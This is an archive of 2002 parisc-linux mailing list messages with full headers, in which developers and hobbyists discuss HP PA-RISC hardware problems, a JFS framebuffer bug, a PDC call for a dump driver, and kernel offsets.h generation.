List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16509

Thank you Yves and Tilo,

Dmesg was a great help, it is a Model 730.  I've
gotten X up and working nicely, the HIL keyboard was a
little stubborn though.  Now I'm trying to get an ISA
Ethernet card going, but I'll post a new  letter to
get the proper subject up.

__________________________________________________
Do you Yahoo!?
Faith Hill - Exclusive Performances, Videos & More
http://faith.yahoo.com


From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland Hauff <rhauff@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing ISA card on 730
Date: Thu, 17 Oct 2002 06:33:46 -0700 (PDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20021017133346.66693.qmail@web40102.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621836 15743 80.91.229.3 (22 Nov 2014 02:03:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 17 07:33:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web40102.mail.yahoo.com (web40102.mail.yahoo.com [66.218.78.36])
	by dsl2.external.hp.com (Postfix) with SMTP id 87FA64829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Oct 2002 07:33:50 -0600 (MDT)
Original-Received: from [66.44.150.10] by web40102.mail.yahoo.com via HTTP; Thu, 17 Oct 2002 06:33:46 PDT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16510

Hi,

I have a 9000/730 with one EISA slot which is
recognized by the kernel, but cards are not detected. 
I have seen that I need to pass a kernel parameter to
tell it which IRQ to edge trigger, but is that all I
need to do to get the card detected?  I do understand
that I may have to install a driver also depending on
the card.

Thanks!

Roland Hauff

__________________________________________________
Do you Yahoo!?
Faith Hill - Exclusive Performances, Videos & More
http://faith.yahoo.com


From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Crazy Ape" <crazyape@optusnet.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C160 curious network problem
Date: Fri, 18 Oct 2002 01:42:21 +1000
Lines: 50
Approved: news@gmane.org
Message-ID: <000f01c275f3$c826bd80$0100a8c0@dylan1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621837 15747 80.91.229.3 (22 Nov 2014 02:03:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:57 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 17 09:42:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail005.syd.optusnet.com.au (mail005.syd.optusnet.com.au [210.49.20.136])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D7014829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Oct 2002 09:42:18 -0600 (MDT)
Original-Received: from dylan1 (c17264.frank1.vic.optusnet.com.au [210.49.208.124])
	by mail005.syd.optusnet.com.au (8.11.1/8.11.1) with SMTP id g9HFgFc09446
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Oct 2002 01:42:15 +1000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16511

Hello folks,
I just picked up an old C160 at auction, and while I'm no stranger to linux,
I've never dealt with anything quite like this.

The following info may be of use to people having some trouble with similar
setups. The machine has the following specs:

128MB RAM (as is standard)
A4071B graphics card (24 bit)
J3516A 10/100 network card (this is a dual channel card)
Firmware is 6.1 (though I had the same quirk with 5.0)

I've tested the debian 3.0 release and several of the recent netboot images
(kernel 2.4.19) and the quirk persists.

When I try to install any parisc-linux image I get so far as the network
configuration then the machine hangs, heartbeat stops and some diagnostic
pattern is repeated on the front panel LED's. (does anyone have a list of
these diagnostic patterns?)

This only happens if I have no network connected to the onboard LAN
connector (or perhaps it's because I DO have the cable plugged into the
addon card). Even dropping to a shell at the earliest time and typing
"ifconfig  eth0 192.168.0.8" will cause the hang. I'm pretty sure the same
happens with the other interfaces as well because I tried them during normal
setup and it hung.

If I connect the network cable to the built in LAN socket I don't have the
problem, I can switch to the addon card directly after the network setup is
done, and continue to install packages via the internet. Of course it's a
pain because I's rather keep the cable in a 100 Mbit capable port all the
time, not have to stuff about at boot time.

Is it something to do with the order the ports are assigned in by linux?
eth0 - J3516A port 1
eth1 - J3516A port 2
eth2 - onboard

The other thing, which may have been discussed already in the list (though I
did have a bit of a look fo it) is that the system seems to hang for 10-15
minutes during install and during normal boot after installation. During
this time the heartbeat slows to a crawl, the usual pulse-pulse pattern
slows to about 1 second for each of the two pulses, with the time in between
beats being an agonizing wait. After 10-15 mins, it all comes back to life
and continues booting! Has anyone encountered this or even solved it.

Cheers,
Dylan



From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C160 curious network problem
Date: Thu, 17 Oct 2002 08:46:43 -0800 (AKDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0210170828140.28233-100000@wolf.alaskatech>
References: <000f01c275f3$c826bd80$0100a8c0@dylan1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621837 15749 80.91.229.3 (22 Nov 2014 02:03:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Crazy Ape <crazyape@optusnet.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 17 10:44:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from wolf.alaskatech (207-5-237-24-cable.anchorageak.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B6314829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Oct 2002 10:44:40 -0600 (MDT)
Original-Received: from wolf.alaskatech (palinux@wolf.alaskatech [24.237.5.207])
	by wolf.alaskatech (8.12.3/8.12.3/Debian -4) with ESMTP id g9HGkiR5028304;
	Thu, 17 Oct 2002 08:46:44 -0800
X-X-Sender: palinux@wolf.alaskatech
In-Reply-To: <000f01c275f3$c826bd80$0100a8c0@dylan1>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16512

On Fri, 18 Oct 2002, Crazy Ape wrote:
> Hello folks,
> I just picked up an old C160 at auction, and while I'm no stranger to linux,
> I've never dealt with anything quite like this.
[snip]
> When I try to install any parisc-linux image I get so far as the network
> configuration then the machine hangs, heartbeat stops and some diagnostic
> pattern is repeated on the front panel LED's. (does anyone have a list of
> these diagnostic patterns?)

While I can't help you with most of this, I *do* have a PDF of the
C-series owner's manual, which lists all the LED codes...

http://www.alaskatech.org/C180-manual.pdf




From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW: [Bug #3332] jfs-1.0.22 and 1.0.23 break fb console on k-2.4.19-pa22
Date: Thu, 17 Oct 2002 19:48:42 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <3DA56CAE00002AEB@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=========3DA56CAE00002AEB/mail.tiscali.be"
X-Trace: ger.gmane.org 1416621837 15751 80.91.229.3 (22 Nov 2014 02:03:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 17 10:52:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 516954829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Oct 2002 10:52:32 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscalinet) 
	id 182Dsq-00076r-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Oct 2002 18:52:28 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 17 Oct 2002 18:48:42 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16513

--=========3DA56CAE00002AEB/mail.tiscali.be
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hi all,

May be much hppa specific problem.

All advise is well come.

Thanks in advance,
    Joel


--=========3DA56CAE00002AEB/mail.tiscali.be
Content-Type: message/rfc822
Content-Disposition: inline

Return-Path: <oss@www-124.ibm.com>
Original-Recipient: rfc822;joel.soete@tiscali.be
Received: from www-124.ibm.com (129.33.28.104) by mail.tiscali.be (6.0.053)
        id 3DAAAD3F00102627 for jsoe0708@tiscali.be; Thu, 17 Oct 2002 18:47:31 +0200
Received: (from oss@localhost)
	by www-124.ibm.com (8.11.6/8.11.0) id g9HGlU125191;
	Thu, 17 Oct 2002 12:47:30 -0400
Date: Thu, 17 Oct 2002 12:47:30 -0400
Message-Id: <200210171647.g9HGlU125191@www-124.ibm.com>
To: joel.soete@tiscali.be
Subject: [Bug #3332] jfs-1.0.22 and 1.0.23 break fb console on k-2.4.19-pa22
From: admin@www-124.southbury.usf.ibm.com

Bug #3332 has been submitted pending email address confirmation. 
Here is a current snapshot of the bug.

Project: 
Category: kernel
Status: Open
Bug Group: bug
Priority: 5
Summary: jfs-1.0.22 and 1.0.23 break fb console on k-2.4.19-pa22

Details: Hi all,

Test your tools, I test early with success 1.0.17 (against k-2.4.18-pa54 and latter).

Today, after spending some time to fix some evms tools problems, I update jfs against last k-2.4.19-pa20 (and latter) with release 1.0.22 and next 1.0.23.

I build successfully a jfs on a evms lvm, populate it, fsck all seems ok.

Just an anoying problem the fb console is broken:
just when kernel launches to detect the first scsi device the screen scroll stop and the rest of messages are all display over others on  the very top line of the screen.

Thanks in advance for help,
    Joel

Thank you for submitting your bug. To have your bug published, visit the following url:

http://www-124.ibm.com/developerworks/bugs/verify.php?confirm_hash=9001bfa38f3e1a4b

 -- the IBM OSS staff



--=========3DA56CAE00002AEB/mail.tiscali.be--


From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dump driver: step by step
Date: Thu, 17 Oct 2002 19:40:35 +0200
Organization: H.P
Lines: 42
Approved: news@gmane.org
Message-ID: <3DAEF613.A3A42F9E@admin.france.hp.com>
References: <3DABF865.8224BF5@admin.france.hp.com> <3DAC09D7.47F2D9C0@hpfrcu81.france.hp.com> <3DAC0D9E.BD896745@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------B0F7A425023EC0FFE255DD2C"
X-Trace: ger.gmane.org 1416621838 15757 80.91.229.3 (22 Nov 2014 02:03:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:58 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 17 11:40:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 910454829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Oct 2002 11:40:41 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 668AE8B2
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Oct 2002 19:40:37 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id TAA21967 for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Oct 2002 19:38:53 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16514

This is a multi-part message in MIME format.
--------------B0F7A425023EC0FFE255DD2C
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	hi
Good news, now I'm able to initialise and read/write on
multiple disk. The solution a new time was a specific
PDC call on PAT system (we don't need it on 712 for example):

dump_pdc_call(PDC_IO, PDC_IO_RESET_DUMP_DEVS, __pa(pdc_result),__pa(dumpdev))

where dumpdev is the list of all "struct device_path".
It would be really interresting if someone is able to
find the "parisc 2.0 I/O firmware" doc, it would gain
a lot's of time to poor little programmers like me.

	Bye.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------B0F7A425023EC0FFE255DD2C
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------B0F7A425023EC0FFE255DD2C--



From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000 problems
Date: Thu, 17 Oct 2002 21:54:10 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20021018035411.23C294829@dsl2.external.hp.com>
References: <20021017072549.GA28930@mail1.dt-link.fi>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621838 15765 80.91.229.3 (22 Nov 2014 02:03:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arto Jantunen <viiru@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 17 21:54:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 23C294829; Thu, 17 Oct 2002 21:54:11 -0600 (MDT)
In-Reply-To: Message from Arto Jantunen <viiru@debian.org> 
   of "Thu, 17 Oct 2002 10:25:49 +0300." <20021017072549.GA28930@mail1.dt-link.fi> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16515

Arto Jantunen wrote:
> My HP9000/R390 crashes when running a 64-bit kernel (it freezes after
> "Enumerating EISA bus") and also crashes when running a 32-bit SMP
> kernel. Is anyone working on fixing Linux for a machine like this?

right now there's a frenzy to get everything we need into 2.5 linux kernel.

In general, you are welcome to post crash information (console output,
"ser pim" for hpmcs) and indicate which kernel you are running
(if it's a standard, prebuilt kernel). If it's an obvious bug or
catches someone's fancy, it will get fixed. On the 2.4.19 kernel.

grant


From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dump driver: step by step
Date: Thu, 17 Oct 2002 22:04:37 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20021018040437.63784482D@dsl2.external.hp.com>
References: <3DABF865.8224BF5@admin.france.hp.com> <3DAC09D7.47F2D9C0@hpfrcu81.france.hp.com> <3DAC0D9E.BD896745@admin.france.hp.com>  <3DAEF613.A3A42F9E@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621838 15766 80.91.229.3 (22 Nov 2014 02:03:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:58 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 17 22:04:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 63784482D; Thu, 17 Oct 2002 22:04:37 -0600 (MDT)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Thu, 17 Oct 2002 19:40:35 +0200." <3DAEF613.A3A42F9E@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16516

Bruno Vidal wrote:
> 	hi
> Good news, now I'm able to initialise and read/write on
> multiple disk. The solution a new time was a specific
> PDC call on PAT system (we don't need it on 712 for example):
> 
> dump_pdc_call(PDC_IO, PDC_IO_RESET_DUMP_DEVS, __pa(pdc_result),__pa(dumpdev))

IIRC, this call is PAT PDC specific. The reason it was added is PAT PDC
only initializes boot and console devices. The RESET_DUMP_DEVs was added
to initialize a list of devices so IODC could be used in the HPUX
dump path.

> where dumpdev is the list of all "struct device_path".
> It would be really interresting if someone is able to
> find the "parisc 2.0 I/O firmware" doc, it would gain
> a lot's of time to poor little programmers like me.

Best is to scrounge through HPUX source code.
With docs, it's often difficult to know *where* to find the right info.

grant


From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] asm/offset.h vs asm/offsets.h
Date: Fri, 18 Oct 2002 13:45:22 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20021018134522.A5285@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621838 15770 80.91.229.3 (22 Nov 2014 02:03:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:58 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 18 06:45:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6615482A
	for <parisc-linux@parisc-linux.org>; Fri, 18 Oct 2002 06:45:26 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 182WVG-0000Qk-00
	for parisc-linux@parisc-linux.org; Fri, 18 Oct 2002 13:45:22 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16517

In 2.5, there's a standardised way of generating asm/offsets.h which I think
we ought to move to.  However, it means we lose the #ifdef protection
against compiling for the wrong wordsize; ie:

#ifdef __LP64__
text("#ifndef __LP64__");
text("#error offset.h was generated for 64-bit build; did you do 'make dep'?");
#else
text("#ifdef __LP64__");
text("#error offset.h was generated for 32-bit build; did you do 'make dep'?");
#endif
text("#endif");

can no longer be a part of it.  I'm not sure this is an awful problem
since it's regenerated more consistently than our old offset.h, but it's
something to be aware of before we switch.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
